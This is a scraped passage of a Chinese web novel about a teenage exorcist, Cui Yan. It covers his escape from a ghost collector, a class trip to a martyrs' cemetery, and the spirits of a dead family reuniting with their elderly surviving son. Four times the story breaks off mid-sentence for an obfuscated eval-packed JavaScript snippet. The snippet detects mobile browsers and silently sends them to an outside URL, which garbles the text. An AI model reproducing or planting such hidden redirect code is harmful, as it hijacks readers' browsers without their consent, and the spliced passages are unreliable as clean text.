崔砚伸手接住,笔记本静静地躺在他手心中,仿佛刚才的金光与字迹从没出现过。 这是……生死簿? 崔砚心中一阵古怪,随后翻开笔记本,空空如也的内页令他一无所获,但刚才的画面却绝非幻觉。 生死簿出现又消失,地上的白无常此刻的面色已经扭曲,细看之下却能分辨出其中的八分恐惧。 “你……”崔砚迟疑着开口。 但他才刚说出一个字,就被白无常的求饶声盖过。 白衣无常已经再不复方才的高高在上,对方朝着崔砚五体投地,万万不敢再跟他对视。 “府君饶命!小的有眼不识泰山,没能认出是府君亲临,又一时鬼迷心窍冒犯了府君,万死难辞其咎!” “还请府君看在小的勾魂数百年的苦劳上,从轻发落!” 白无常自知刚才自己不仅仅是冒犯了崔判官这一罪,他对活人动手,妄图置对方于死地,这已经严重触犯了地府律例。 崔砚面无表情地注视着白无常。 他的视线居高临下,白无常只觉得如芒在背,遏制不住地浑身颤抖,心中早就被后悔和恐惧填满。 见状崔砚稍稍蹙眉,他不说话并不是在故意吓唬白无常,而是不知道如何开口。 对方凭借生死簿错认他是判官,但崔砚自知不是。 他有父母亲人,身体中也流淌着生生不息的血液,真真切切在这阳世存在了十几年。 他不可能是崔判,但崔砚也不知道刚才生死簿为什么会出现。 只是目前的状态对他有利,白无常被崔判的名头震慑,已然不敢再对崔砚出手,所以他不会道破真相,以免自己再次置入险境。 好在情况并没有僵持太久,灵妙观的方向传来一声鸡鸣,四周蔓延的阴气开始倒灌,尽数没入即将关闭的鬼门。 有阴阳两届的规则刻印在身,白无常的身躯开始消失,一半躯体和阴气同化,一齐被纳入鬼门。 崔砚顺势开口,声音微沉:“你且去吧。” 白无常猛然松了口气。 不等崔砚开口,他率先低头道:“府君仁慈,今日不杀之恩,小人来日再报。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187251|150707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还请府君宽心,今晚所见所闻,小的不会向外透露半个字。” 白无常看着崔砚,意有所指。 有生死簿在前,白无常已经对崔砚是判官的身份深信不疑。 而地府鬼神,却以生人模样行走与阳间,其中明显有巨大的内情,白无常不敢去探究,也定然不敢外传,于是在消失前抓紧时间表忠心。 崔砚松了口气,但表情却没有任何异样,只是居高临下地对白无常稍一点头。 鬼门下一秒轰然关闭,清泽湖还是那个清泽湖,此刻天际出现了今日的第一抹鱼肚白。 崔砚这么些年也见过不少奇闻轶事,但刚才的事情却算得上头一桩的惊险。 劫后余生,崔砚翻开手中的笔记本,空空如也的内页没有任何异常。 那么突然出现的生死簿……是怎么回事? 崔砚百思不得其解,但现在明显不是探究这件事的时候,他转身看向安静乖巧的王小麦,“回去休息吧。” 王小麦是普通人,犀角的作用早已消失,她并不知道刚才自己直面过白无常,甚至还近距离接触了生死簿。 她所能见的,就是黑夜中,崔砚若隐若现的影子,在一个人自言自语。 崔砚没有多言,王小麦也很听话地没有问,只是心中揣着跟奶奶永别的悲伤,回到酒店后就把自己藏进被子里,满脸泪痕地睡去了。 “啊啊啊啊——!” 第二天一早就被惨叫声惊醒,崔砚睁眼后看向对面的床,打完哈欠问:“大早上你叫什么?” 许航垂死病中惊坐起,顶着鸡窝头就被吓得跳下床,要往崔砚的被子里钻,但被崔砚拒绝了。 “好好说话。”崔砚伸手拦住他,转身下床,一把拉开了窗帘。 窗外阳光骤然洒进室内,许航被晃了眼睛,这下总算是冷静了些。 “怎么了?”崔砚明知故问。 但许航却被问蒙了。 “我我……”他我了半天没了下文,只记得刚醒的时候眼前一晃而过的惊悚画面,但此刻却怎么也想不起来了。 残留的恐惧和记忆都在少年平静的注视下消失,许航挠挠头,有些不好意思地小声说:“我好像做了个噩梦。” “巨恐怖的梦!”他强调。 挠头后许航后知后觉自己的肩膀很痛,他“嘶”了一声,有些龇牙咧嘴地揉揉自己。 崔砚看了一眼,随后越过许航的身侧,在对方肩上拍了拍,随后径直去洗漱。 “那你洗快点啊,周老师让八点集合吃早饭。”许航说。 说完他就愣了一下,有些疑惑地看着自己的肩膀,刚才骨子里的阴冷酸痛好像消失了,此刻他半个肩膀反而有些暖洋洋的。 想不通,许航索性解释为自己睡姿不好,晚上侧睡把肩膀压麻了。 两人很快就洗漱完,许航一边收拾东西,一边对崔砚:“对了你观后感别落下了,等会儿周老师要收。” 崔砚收拾东西的手一顿,默不作声地看向手里空白一片的笔记本。 啊,他就说昨晚好像忘了什么。 原来是忘记写作业了。 10.首发文学城10 好在周老师虽然对他们管得很严,其实性格很好。 他记得崔砚昨天接管了一个小孩儿,怕是出于好心照顾孩子的时候,把作业忘了。 崔砚自己都还是个孩子,周老师对此表示了极大的宽容。 夏令营这一星期只排了两天的户外课,昨天组织大家逛了灵妙观,今天要去烈士墓园描金。 锦川人从前就是抗倭战争的主力军,省里最大的烈士墓园就在锦川市。 墓园里葬的大都是没能落叶归根,最终战死异乡的烈士。 因为那个年代信息传递的方式并不发达,消息阻塞落后,这些烈士战死后很多都只留下了个姓名,此外不知故乡,也寻不到亲人。 锦川一直很注重孩子的历史教育,烈士陵园虽然建在城市的郊外偏远之地,但也经常会有志愿者去帮着扫墓。 夏令营组织了这次扫墓,大家都挺高兴的,其中有不少学生从前都跟着家里长辈去过几次,对烈士墓园并不陌生。 考虑到墓碑上的刻字时间长了已经掉色模糊,在跟园区沟通后,周老师找到崔砚,打算让崔砚去替墓碑描金。 崔砚点头没有拒绝。 因为从小就常来往于道观,崔砚学着画符的时候,也练出了一手漂亮的毛笔字。 他的字笔画蜿蜒流畅,一字一笔像是连绵不断的流水,带着画符一样独特的韵味,是一眼就能看见的漂亮,这也是周老师单独找上崔砚的原因。 陵园建在郊区,距离市中心比较远,学校租了一辆大巴车,统计了人数后统一接送。 崔砚没有带上王小麦,他趁着还没到出发时间,把小姑娘送到灵妙观托付给了冯道长。 等今天忙完,崔砚再履行对老太太的承诺,在联系上王小麦亲妈,确认对方真的靠谱之前,王小麦都会暂时由灵妙观的人照顾。 等崔砚姗姗来迟,大巴已经在原地等了一会儿,学生在里边坐得满满当当,许航特意给崔砚留了个位置。 见少年出现在车里,许航连忙对崔砚招手,示意了一下自己身侧唯一的空位。 大概是为了照顾崔砚从前独来独往的习惯,许航坐的是最后一排。 他左边坐着另两个崔砚眼熟但是不认识的学生,给崔砚留了个靠窗的位置。 崔砚坐下道了句谢,收到同排学生好奇的视线后,他也没什么太大的反应,兀自闭目养神,听他们在自己耳边叽叽喳喳地讲话。 少年眉眼漂亮柔软,闭上眼睛后睫毛上翘的弧度更加明显,神色安静,莫名透着三分乖巧。 米雅雅有些艰难地把自己的视线从崔砚身上拔下来,悄声跟许航八卦,语气难掩好奇。 “你怎么跟崔……崔砚好像很熟的样子?” 米雅雅提起少年名字的时候还磕巴了一下,大家平常没有交集,她差点忘记对方叫什么。 按照许航的性格,要是平常他早就侃侃而谈,事无巨细将自己跟崔砚认识的过程都讲出来了,但这一次他却一反常态,只是对米雅雅露出个神秘的微笑。 “嘘。”许航伸出食指竖在唇中,“佛曰:不可说。” 他这样卖关子,米雅雅越发感兴趣,追问了几次后许航仍然不松口,便有些气恼,转过头去没说话了。 许航平常爱吹牛,而米雅雅喜欢八卦,又特别捧场,他俩一个讲一个听,可谓是夏令营独一份的革命友谊。、 见米雅雅有些生气了,许航摸摸鼻子换了个话题,去跟她搭话:“过两天家里要给我补办生日,我打算多请几个同学去热闹热闹,小姐姐赏个脸?” 好在米雅雅也不是真生气,有台阶就下,她点点头:“你有什么想要的东西吗?正好这几天我姐放假回家,施舍了我不少零花钱。” 两人又叽叽喳喳讨论起来,许航道:“那就这么定了,周日你一定要来啊。” 他把自己家的地址通过微信发给了米雅雅,米雅雅看了一眼,疑惑问:“我记得刚进夏令营的时候,你家好像不在这里。” “刚搬的家。”许航挠挠头,“上星期才跟我爸妈换的新房子,之前我家离锦中太远了。” 许航不愿意住学校宿舍,家里一早就买了锦川附近的房子,装修后也空置了大半年,最近刚搬进新家。 “说起这个,”许航的表情一下子又变得神神秘秘,米雅雅眼睛一亮,立马探头过来。 许航:“自从搬了新家,我家所有人都特别倒霉,无论是爸妈还是我,这几天真是没有遇见一件顺心的事情。” 说起这个,许航就忍不住沮丧地叹气。 “你家集体犯水逆吗?”大概是昨天大家逛了灵妙观,忘凡讲的故事太令人印象深刻,米雅雅的脑子拐了一下弯,“会不会是撞见什么脏东西了?” 她暗戳戳建议:“要不你们也去灵妙观拜拜?” 闻言许航眼睛一亮。 但他想的并不是去灵妙观看看,而是豁然转头看向窗边的少年。 崔砚正闭着眼睛,感受到眼前试探性的影子正在不断晃动,他睁眼跟正在挥手的许航对视。 崔砚嘴角一抽:“干嘛?” 许航见他没睡着,立刻上去嬉皮笑脸说:“周日家里要替我庆祝生日,你有时间来吗?” 崔砚一直没什么朋友,也没怎么跟人来往过,原本想要拒绝,一个“不”字都已经在嘴边了,下一秒就见到许航双眼泪汪汪地看着他。 好似崔砚拒绝一下,许航就能当场哭出来。 崔砚:“……”行吧。 他一答应,许航立刻高兴起来,凑过去跟崔砚悄悄说:“我总觉得家里倒霉得有点不同寻常,到时候您老帮我看看成吗?” “我的所有零花钱都给你!”知道干这一行的都不会白走一趟,许航豪气地开口。 崔砚家境不差,也不在乎许航兜里那点零花钱,不过既然答应去了,到时候顺带帮忙看看也不是不行。 一家人同时倒霉,听起来多少有点问题,况且许航最近阳火弱,稍微撞见点脏东西,都能引发比往常更严重的后果。 既然是刚搬了新家,大概率是风水不利,崔砚虽然不精通风水,但简单看看也没问题。 灵妙观的道士在外被吹得很玄乎,但总归不如眼见的震撼,许航可是亲眼见过崔砚玄幻手段的,他一答应,许航顿时放心不少。 大巴车驶出市中心,很快平整的柏油路就开始变窄,随后稍稍有些崎岖起来,车身晃悠了一个小时,最终停在了烈士陵园外。 “目的地到了,大家有序下车,不要拥挤推搡。”周老师先下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197428|150707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了车,在下边盯着学生。 崔砚仍旧是最后一个走下来的。 许航跟在他身边,还有个米雅雅在一旁,难得没有兴冲冲挤到人群最前边当显眼包,三人就跟在队伍末尾,被周老师带着进陵园。 这些年来陵园的志愿者不少,也常有学校组织活动,周老师找上守墓人给出相关证明后,便带着身后一大群学生进园了。 陵园所在的郊区群山环抱,入口有个小房子,守墓人平常就居住在这个小房子里。 那是个脸上沟壑很明显的老头,下垂的皮肉证明对方年龄已经很大了,但小老头仍然精神奕奕,身上穿着的棉布衣服整理得很板正。 路过窗台,还能透过玻璃瞧见窄小的床上,放着叠得方正的被子。 学生一串串走过小房子,小老头笑眯眯地招招手。 米雅雅看着守墓人,细心地瞧见对方滑下的袖口里,手臂缺了一块肉。 她有些惊讶地捂住嘴,余光注意到崔砚也盯着小老头看,右手伸出来,五指飞快掐算着,动作不明所以,眼神同样令人看不透。 周老师一边带队,一边开口:“刚刚那位守墓人姓陈,今年已经八十四岁,当年也是抗倭锦川人的一员。” “细心的同学应该也注意到了陈爷爷手上的伤口,那是他当时子弹耗尽,拿起大刀跟敌人拼命时被砍中,最后留下的伤口。” 学生们忍不住发出惊呼声,但又压低声音,怕扰了墓园的英魂安眠。 米雅雅算了一下,忍不住捏紧了手心:“八十四岁……那陈爷爷当初上战场的时候,岂不是只有十三四岁。” 他们十五六岁等着上高中,暑假里参加夏令营快乐轻松,而周爷爷那一辈的人,在更小的时候却已经拿起了刀枪。 大家一时间都有些沉默。 周老师道:“等会儿大家领了清洁工具,按照分配的区域,好好把陵园打扫干净。” 大家一时间热情高涨,不累不困,领了工具就开始吭哧吭哧打扫起来,甚至都没有像昨天那样,三三两两聚在一起说闲话,一个比一个扫得认真。 许航拿着抹布,卖力地挨个擦净墓碑。 崔砚把东西放好,笔尖沾上特制的金墨,斟酌后下笔,将原本被风雨侵蚀的字迹一点点描画清晰。 【徐大同,年十八】 【吴昆,年十七】 【刘根,年二十一】 …… 【陈金,年十五,锦川人氏】 这块碑上寥寥几个字概括了一个十五岁少年的一生,姓名,年龄,故乡,上头没有照片,只有一张像是用碳画出来的潦草肖像。 因为时间太长,尽管已经做过保护措施,但那张肖像上的笔迹仍然不可逆地变得模糊,只能依稀看清肖像上少年带笑的嘴角。 崔砚一笔一笔描着碑文,四周树林静寂,只剩下扫帚扬起尘土的声音,偶尔伴随着飞鸟扑闪着翅膀的动静。 ‘……弟弟。’极轻的声音若有似乎地传入崔砚的耳中。 他抬眼看向四周,许航已经擦到了远处的碑,学生都离得不近,崔砚四周空无一人。 他又落笔继续描摹,那道声音又轻轻响起,尚且有些稚嫩的声线断断续续。 ‘一一得一,一二得二……’ 11.首发文学城11 乘法表的头几句不断在崔砚耳边重复,他垂眸看着笔下的碑文,笔尖离开碑面,稚嫩的少年声线便戛然而止。 是碑文的声音。 这座烈士墓园里的人,大都在死后灵魂就已经入了地府,经过这么些年的时间,已经全都重新投胎了。 崔砚没有在陵园里看到灵魂存在的痕迹,包括那个有声音传来的碑也没有。 唯有淡淡的执念长久附着在上头,因为不知名的缘由,而迟迟不愿散去。 崔砚描完这块碑,站起身时,却见自己身侧落下一片阴影。 他回头看过去,守墓人陈爷爷背着双手,不知道什么时候走了过来。 对方尽管精神奕奕,但终归年龄太大,早年又落下一身伤,缓缓蹲下的动作慢吞吞的,骨骼的声响从他周身传来。 “您小心。”崔砚伸手扶了他一下。 陈爷爷只是摸了摸那块碑,就在崔砚的搀扶下站了起来,笑盈盈地说:“这字描得真好看。” 老爷子没有想和崔砚攀谈的意思,自顾自嘟囔了些什么,只听得清几个模糊的数字,他一边念叨,一边拿着扫帚也在四周扫起来。 崔砚看着陈老爷子的背影,目光落在对方头顶颤巍巍的最后一点火星上,最后走上前去伸手扶住老爷子。 他右手轻拍陈爷爷的后背三下,对方微微咳嗽着,回头对他道谢,又笑眯眯地说:“……去做你的事吧,不用管我这个老头子。” 崔砚收回手,指尖微微有些痉挛,尽管他颅内疼痛难忍,也仍然拍不燃那火星。 陈老爷子没多少时间了。 崔砚又低头提笔,挨个用沾上金墨的笔尖,将碑文一一描摹。 除开方才的陈金之外,崔砚只在另外两座碑上听到了声音。 一个叫王翠翠,死时三十三岁,一个叫陈宝国,死时三十四岁。 他们的声音太过于模糊,崔砚听不分明,只能听到极轻的呢喃声,不知道在呼唤谁。 大家一整个下午的时间都耗在了陵园里,但谁也不觉得枯燥乏味,肩头泛酸的感觉也被下意识忽略了。 直到周老师叫大家集合准备离开的时候,所有人都还有些依依不舍。 崔砚没有描完所有碑文,跟周老师说不打算跟他们一起走,但却遭到了反对。 “陵园距离市区有一段距离,这边平常没什么人,你不跟大家一起走,出问题了怎么办?”周老师皱眉不赞同。 崔砚道:“不会出问题,如果发生意外也不用老师担责,如果周老师担心的话,我可以签免责协议。” 周老师头疼地揉了揉太阳穴:“我不是怕担责,是怕你出现意外。” 许航无脑支持崔砚,帮着求情:“那我留下来保护崔砚!” 米雅雅见状也挠挠头加入。 周老师头更疼了。 崔砚当场打电话给家里,告知了父母自己的打算。 他从小就是个很有主意的人,虽然还没成年,但崔砚父母已经很少干预他的决定,听明白前因后果,也表示了支持。 周老师便没了反对的理由。 许航趁机插嘴:“周老师你放心,我爸等会儿会开车来接我,我会按时把他们送回家的。” 现在不仅是崔砚不打算走,许航和米雅雅也想留下来,周老师只能一一打电话跟他们父母商量,最后带着其他人上了大巴车,他们三人得以留下。 米雅雅拿着抹布跑回去擦自己没擦完的碑,许航问崔砚:“要帮忙吗?” 崔砚正看着陈爷爷回小屋的背影,闻言回头:“不用。” 天色很快就暗了下来,崔砚描完碑,又等了许航跟米雅雅一会儿,倚在小屋门边上。 屋内陈爷爷合衣躺在小床上,背对着门的方向,呼吸幅度小到可以忽略不计。 “崔砚,我们打扫完了。”许航跟米雅雅小跑过来。 “我爸已经在来的路上了,刚刚打电话让咱们去路口等他。” 三人没有在路口等太久,许航就又接到了他爸的电话。 许航接通后信号不太好,在四周转了转,才听到断断续续的电音。 “这边路窄,车不好开进来,你们往外走两步吧。” 许航告诉了崔砚他们,挂断电话,便开始往路口外边走出去。 四周群山环绕,夜晚渐渐替代黄昏,天色逐渐暗了下来,公路上还起了一层薄雾。 “这大晚上的,怎么还起雾了?”许航挥挥手,试图爸面前的白雾挥散。 米雅雅朝四周看过去,就这么几句话间,四周的雾竟然变得脓重起来,甚至到了打开手机手电筒才能看清路的地步。 她有些害怕地拽了下前边人的衣角,道:“现在完全看不清路,要不我们别走了……让许航的爸爸把车开进来吧。” 许航就算是再大条,这会儿也该察觉到有一点不对了,他转头看了一眼表情十分淡定的崔砚,心下的紧张感稍松,点点头:“行,那我们别再往前走了,我打个电话给我爸。” 但许航的电话拨出去好几次,都始终没有信号一直显示中断拨电,如此不断反复。 来的时候不是信号还挺好的吗?怎么现在完全无法拨通,许航只觉得自己脑门上的冷汗都要被吓出来了。 “怎么没信号……咦?打通了!”电话忽然滴了一声被接通,许航欢呼一声。 随后电话里电流时断时续,他爸说:“我到了,你们人呢?” 话音刚落,三人身前就开来一辆黑色的轿车,许航认出是自家的车,于是对驾驶座的老爹招呼了一声,挂断电话让崔砚和米雅雅上车。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197429|150707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他就爱跟人说话,所以没上副驾驶,三人就这么一起挤在后排,车门一关,汽车就被启动了。 “可算是到了,刚才突然起雾真是吓死我了!”许航坐在中间搓搓鸡皮疙瘩,龇牙咧嘴的。 米雅雅也有些被吓到了,心有余悸地看向窗外,玻璃外仍然是大雾弥漫。 “崔砚你家在哪儿?”许航问崔砚的地址。 但他转头却对上了崔砚的视线,对方正用审视的眼神看向驾驶位。 许航有些奇怪:“你一直看我爸干什么?” 他转头也看过去,“你在看什么呢?” 许航将整个驾驶位都扫视一圈,没看到值得注意的东西,疑惑道:“没什么可看的……” 等等……他爸今天穿的衣服好像有些不对? 许航家里有些产业,他爸自己开了家公司,平常就爱穿黑色的西装,连休息在家的时候也是这种穿搭。 但驾驶位上的那人,却穿着一身灰蓝的布衣,肩头袖口都很紧,手腕上甚至缠了绷带……这些许航在上车的时候都没注意到。 这不是他爸! 许航的神色瞬间变得惊恐! 几乎是一瞬间,许航的后背就已经布满了冷汗,他压抑住自己喉咙里的尖叫声,用手机打字把消息传递给米雅雅和崔砚。 崔砚的神色没有变化,米雅雅有些迟疑地小声问:“那他是谁?” 米雅雅没遇见过灵异事件,她还带着几分天真,见到许航打的字,原本以为会是他家司机,但对方表情惊恐,实在无法忽视,于是也不由得紧张害怕起来。 面对她的询问,许航抖着手打下一个字。 【鬼】 米雅雅:“???”你说啥? 她都要猜测是什么杀人犯了,但许航一个字把她从唯物主义世界拉入唯心,米雅雅脑子放空了一瞬间。 于是在很短的时间内,那些不寻常的画面一一钻进米雅雅的脑子里,断断续续的电话,突然弥漫的大雾,莫名其妙消失的信号…… 米雅雅忍不住两眼一翻,差点吓昏过去。 崔砚没有太大的反应,只是眼神一眨不眨地盯着驾驶位上的“人”,鼻尖微动,一丝丝熟悉的气味飘了过来。 这时候也顾不得任何了,许航哆哆嗦嗦地凑过来,伸手捏住崔砚的衣摆,眼泪汪汪地看向驾驶位,随后目光定格在中心,视线猛然一颤。 察觉到他发抖的动作有些过于大了,崔砚收回目光看过去,却见许航像是帕金森一样伸手指了指车头。 顺着他指的方向,崔砚看见了前边的扫描雷达。 整条路两侧都是高耸的山,夜色下只有他们一辆车行驶在大雾中,四周寂静无声。 在荒无人烟处,雷达中检测到了密密麻麻的“人”。 12.首发文学城12 许航汪的一声就哭出来了,张口就说:“爸、爸爸……我尿急,想下车呜呜呜……” 主驾驶上的“人”闻言没有回头,但也没有停车。 在许航和米雅雅惊恐的视线中,崔砚伸手捂住许航的嘴,又对米雅雅做了个噤声的动作,不让他们说话。 这时主驾驶上的人才开口,声音竟然异常清亮。 “……不能下车。” 听着像是个小少年。 崔砚忽然意识到了他是谁。 少年的视线落在对方握紧方向盘的手上,白色的绷带上染了点点金色——刚才他闻到的那股味道,是陵园描金的墨香。 他是那个墓碑的主人,陈金。 难怪崔砚感受不到他有恶意,这也是一开始他没有反对许航跟米雅雅上车的原因。 雾起的时候四周的阴气浓度就有些不同寻常,而面对这样一辆明显有问题的车,崔砚还是选择了上车。 因为在浓雾中行走更加危险,雷达中密密麻麻的红点就是证明。 许航虽然胆小,但他听崔砚的话,米雅雅第一次接触到灵异事件,完全丢了主见,有谁站出来她就听谁的。 既然崔砚不让他们下车,他们就不下,只是完全不知道会发生什么,两人的眼神都带着些恐惧和茫然。 许航凑近哆嗦着问:“崔砚,这车会开去哪儿啊?” 崔砚看着窗外的画面,道:“开回陵园。” 现在距离他们上车的时间并没有过去多久,而这车的速度也并不快,他们还在陵园附近,很快就能回到陵园。 奇怪。 崔砚看向车窗外的浓雾,眼中生出几分沉思。 他身上的符作用还在,这浓雾不会是为崔砚而来,但如今已经过了七月半,阴气下降鬼怪该绕行才对,怎么会出现这么多的孤魂野鬼。 甚至这还是烈士陵园附近,要知道烈士陵园虽然都是坟墓,但因为他们特殊的死亡原因和生前精力,陵园必定会带有比生人强上百倍的阳气与正气。 就连厉鬼都不敢轻易靠近烈士陵园,更何况是这些浓雾中成群结队的野鬼。 崔砚转头看了一眼许航,这时车也停了下来。 再转头时,驾驶座上的身影已经凭空消失。 得到崔砚的点头,许航和米雅雅几乎是连滚带爬地下了车,而崔砚慢慢关上车门后,这车也消失在了原地。 米雅雅看着简直瞠目结舌,一时间半个字都说不出来,只觉得这个世界终究还是癫了。 她一脸迷幻地被许航拽上,两人跟在崔砚身后,不知道是不是错觉,总觉得原本浑身缠绕的阴冷感,在进入陵园后都消失了。 甚至心口处反而还有点暖和。 “今晚先不要离开陵园了,你们两个随便找块地方休息。”崔砚道。 两人虽然胆子小,刚才也被结结实实吓了一大跳,但这会儿进了陵园后却慢慢缓了过来,面对这满园的墓碑没有害怕,只觉得安心。 被狠狠吓过之后,许航跟米雅雅的精神已经在崩溃的边缘,这会儿无论是心理还是生理都很疲惫。 两人蹲在墓碑边上,找了块地方,往台阶上一坐,没多久就听到了许航打呼噜的声音。 睡梦中米雅雅的眉头仍然紧锁着,神色并不安稳,甚至口中还在发出害怕的呢喃声,身体便不由得往墓碑上靠去。 崔砚在一棵树下小憩,没过多久却发现米雅雅的梦呓声消失了,他睁眼的同时,听到了年轻女人哼唱着童谣的声音。 “小河呀么哗哗流, 妈妈就在屋里头, 乖乖小宝不要怕, 大猫大狗都赶走~ ……” 穿着灰蓝棉布衣服的女人将米雅雅抱在怀里,一只手温柔地轻拍着少女的脊背,拍去梦中纠缠不休的恐惧。 米雅雅睡得很安稳。 崔砚记得米雅雅身侧的那个墓碑,它的主人叫王翠翠。 夜色渐浓,随后崔砚耳畔又出现了少年念叨乘法表的声音,一遍又一遍,不厌其烦,像是在温和地教着谁。 他看向刚才从重重浓雾中将他们带出来的少年,对方分明只有十五岁,但瘦削的身形却能比肩高山。 那头墓园的角落出现了些草木燃烧的噼啪声,星星点点的火光被点燃,凭空出现的男人将有豁口的锅架上去,熬煮出一锅黏糊的粥。 熟睡的许航皱眉吸吸鼻子,被难闻的味道呛了一下,眼看着就要清醒过来。 崔砚一张符贴上许航脑门,对方困意再次上涌,还没来得及睁眼,便又陷入了梦乡。 不远处有个苍老的身影步履蹒跚地靠近,崔砚抬眼过去,看清了对方脸上沟壑一般的皱纹。 耳畔念叨着乘法表的声音停了下来,笑盈盈地对老人一招手。 “弟弟快来,爸爸的饭已经做好了。” 老人的脸上露出近乎纯真的苦恼,有些不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197430|150707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好意思地对少年说:“可是哥哥,我还没有背完乘法口诀。” “没关系。”女人温和的声音传来,她拍了拍少年的肩头,又拍了拍老人的肩头。 “等吃完爸爸做的饭,再让哥哥好好教你。” 于是一老一少,就这么被妈妈牵着手,朝不远处的男人走去。 锅中水和草根不断翻搅,男人道:“你们先吃,爸爸还不饿。” 老人的碗中盛了满满的一碗,被他一点一点和泪吃下。 许久后篝火渐渐熄灭,崔砚听见天外一声鸡鸣传来,遥远处勾魂的铃铛发出丁零当啷的响声。 隐隐约约有黑袍的人念出名字。 “陈银,锦川人氏,卒年八十四岁,寿终正寝……” “找到你了。” 十五岁的少年拍拍衣袖,站起来踮脚如从前一般揉了揉弟弟的头。 “小宝,哥哥带你回家。” 陈银高兴地点点头,乖巧地背着哥哥教的乘法口诀,左右牵着爸爸妈妈,在鸡鸣声中朝去时路而去。 “一一得一,一二得二,一三……” 崔砚就这么看着陈银跟在黑无常身后离去,而白日缠绕着执念的三座墓碑,也渐渐归于寂静。 死别了多年的一家四口,在这一刻终于迎来了重逢。 许航他们早上是被吵闹的人声惊醒的。 两人一睁眼就见到站在远处的崔砚,于是凑过去,看着陵园的入口处人来人往。 几个穿着白大褂的医生在守墓人的屋子里进去又出来,对门口的人叮嘱了几句,便上了门口的救护车离开了,谁也没带走。 而剩下几个人穿着统一的制服,胸口处印着锦川殡仪馆的字样,进屋抬出来个盖着白布的担架。 许航和米雅雅有些震惊。 米雅雅心有所觉,捂着嘴,胸口有些闷闷的难过,问崔砚:“白布下面的人是……” “陈银,”崔砚:“那个守墓人。” 崔砚:“半夜三点去世的。” 许航还有些没缓过神:“昨天看着还好好的,怎么今天人就没了……” 得知是崔砚叫的救护车和殡仪馆,而陈爷爷一辈子没有娶妻生子,就这么一个人活,一个人死去,许航有些不是滋味。 “去世都没有亲人探望,陈爷爷好可怜。” 崔砚伸了个懒腰:“你怎么知道没有亲人探望。” 万一亲人已经出现过了呢? 13.首发文学城13 如果是平时,崔砚说的这句话根本不会让许航和米雅雅产生其他联想,但他们昨天刚在一起经历了科学无法解释的事,这会儿听见什么动静都有点草木皆兵。 米雅雅的表情有些惊恐。 她昨晚的前半夜一直在做噩梦,梦里可怕的鬼怪纠缠不休,虽然后半夜睡得稍微安稳了些,但醒来后还是有些惊魂未定。 许航就更别说了,他本来胆子就小,这会儿更是差点被吓死。 陈爷爷的亲人已经全都去世,他的身后事被政府接管,殡仪馆的人没有等太久,就等来了上边派下来的人。 现在是暑假,陵园平常也会有志愿者进出,所以崔砚三人并没有引起过多的注意。 崔砚没有管他俩,拿出手机跟家里人报了平安,简单将昨晚上失联的事情掩饰过去。 他从小到大都很独立,因为某些特殊原因,也偶尔有失联几个小时的情况存在,父母问清情况后也就放下了心。 倒是米雅雅和许航家里迟迟没见到人,一看手机电话消息都快把屏幕挤爆炸了,其中还有周老师的崩溃咆哮。 两人连忙一一打电话回复,许航的爸爸接到电话时,人已经走到公安局门口,再慢上两分钟警方怕是都要出警找人了。 米雅雅的父母联系不上她后,担心了一晚上,早上打遍亲戚朋友的电话,这会儿也准备出门报警,突然接到她报平安的电话,立刻在电话里边哭了出来。 两人手忙脚乱地安抚父母,同时都默契地将昨晚上见鬼的经历都掩盖了过去,只字不提。 不是他们不想说,而是这东西说出来也没人信,说不定父母听了还会带他俩去精神科看看。 对此,三人给出的解释都是手机没电了,守墓人去世他们进不去,直到早上来了人才联系上他们。 至于许航爸爸开车接人的事……那边却表示从来没有接到过许航的电话。 那么许航的电话到底打给了谁,这就不得而知了。 周老师上午得知他们三人没有按时回家,脑子里一直循环播放自己被曝光开除的画面,崩溃又担心,得到消息后直接一个电话打了进来。 米雅雅跟许航都在忙线,只有崔砚接通了电话,面对他这么个性格,最后周老师也没能披头盖脸骂一顿,只是叹着气说:“平安就好。” 因为陵园的特殊性,再加上守墓人的小屋并不属于陈爷爷,他故去后附近并没有挂上白幡,只是在门口放了几束白菊。 